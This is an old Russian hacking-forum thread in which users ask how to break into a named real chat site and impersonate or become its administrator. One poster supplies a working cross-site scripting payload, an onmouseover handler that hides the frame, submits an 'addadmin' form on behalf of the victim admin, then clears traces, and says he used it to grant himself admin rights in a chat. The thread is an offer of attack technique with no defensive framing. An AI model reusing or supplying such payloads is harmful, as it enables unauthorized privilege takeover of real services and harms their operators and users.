Чаты сильна хочетца сломать немнога

Discussion in 'Веб-уязвимости' started by nat, 5 Feb 2003.

  1. nat

    nat New Member

    Joined:
    4 Feb 2003
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    Есть такой чат хреновый -
    http://baskov.msk.ru/chat/

    ну хочется сломать! Не так чтоб сильно, но чтоб хоть за админа сойти   [​IMG]  как ник похожий подделать я понял, тока как его пикчер свистнуть не соображу...

    ваще можно этот чат конкретно сломать?

    поможите...  [​IMG]
     
  2. nat

    nat New Member

    Joined:
    4 Feb 2003
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    сломал  [​IMG]

    один вопрос остался, можно в форму инпут тайп для ника вставлять html тэги?
     
  3. nat

    nat New Member

    Joined:
    4 Feb 2003
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    в value для ника я имел в виду можно картинку забабахать [​IMG]
     
  4. Twinkles-hak

    Twinkles-hak Banned

    Joined:
    10 Jan 2003
    Messages:
    100
    Likes Received:
    1
    Reputations:
    0
    Да за это можно много проблем на свою попу нагрести!!! [​IMG]  [​IMG]
     
  5. Sn3zHka

    Sn3zHka ^_^

    Joined:
    17 Jan 2003
    Messages:
    241
    Likes Received:
    1
    Reputations:
    0
    А вообще можно как-нить админом чата стать? ну или на худой конец хотя бы модератором? Для этого обязательно узнавать пароли настоящих админов(модеров) или можно как-нибудь по-другому?
     
  6. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (ДjavaЛИЦА @ февраля 10 2003,18:56)</td></tr><tr><td id="QUOTE">А вообще можно как-нить админом чата стать? ну или на худой конец хотя бы модератором? Для этого обязательно узнавать пароли настоящих админов(модеров) или можно как-нибудь по-другому?[/QUOTE]<span id='postcolor'>
    Ну в принципе -не обязательно ....
    Например, если админские кнопки находятся в том же окне что и чат, то можно послать админу скрипт, который назанчит админом тебя ))
     
  7. Sn3zHka

    Sn3zHka ^_^

    Joined:
    17 Jan 2003
    Messages:
    241
    Likes Received:
    1
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Algol @ февраля 10 2003,20:49)</td></tr><tr><td id="QUOTE">то можно послать админу скрипт, который назанчит админом тебя ))[/QUOTE]<span id='postcolor'>
    а какой к примеру? или дай плиз линку на сайт с нужными статьями (с примерами &nbsp;таких скриптов) [​IMG]
     
  8. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Это целиком зависит от конкретного чата, но вот пример скрипта (немного укороченный), с помощью которго я назначал себя админом 64 уровня в одном из чатов:
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">onmouseover="f=parent.frames[5];f.document.body.style.visibility='hidden';frm=f.document.forms[0];frm.elements[7].value='64';frm.elements[5].value='Algol';top.msgpause(true);frm.elements[1].value='addadmin';frm.submit();top.msgclear();frm.elements[7].value=unescape('%3C')+'/script'+unescape('%3E');frm.elements[9].value='pvt';frm.elements[1].value='';frm.submit();body.innerHTML='Not found';" [/QUOTE]<span id='postcolor'>
     
  9. Sn3zHka

    Sn3zHka ^_^

    Joined:
    17 Jan 2003
    Messages:
    241
    Likes Received:
    1
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Algol @ февраля 12 2003,05:46)</td></tr><tr><td id="QUOTE">Это целиком зависит от конкретного чата, но вот пример скрипта (немного укороченный), с помощью которго я назначал себя админом 64 уровня в одном из чатов:[/QUOTE]<span id='postcolor'>
    А поясни пожалуйста что значит &quot;64ого уровня&quot;...просто я вообще об админах мало что знаю...и еще: этот скрипт надо админу послать в виде сообщения, как я поняла...да?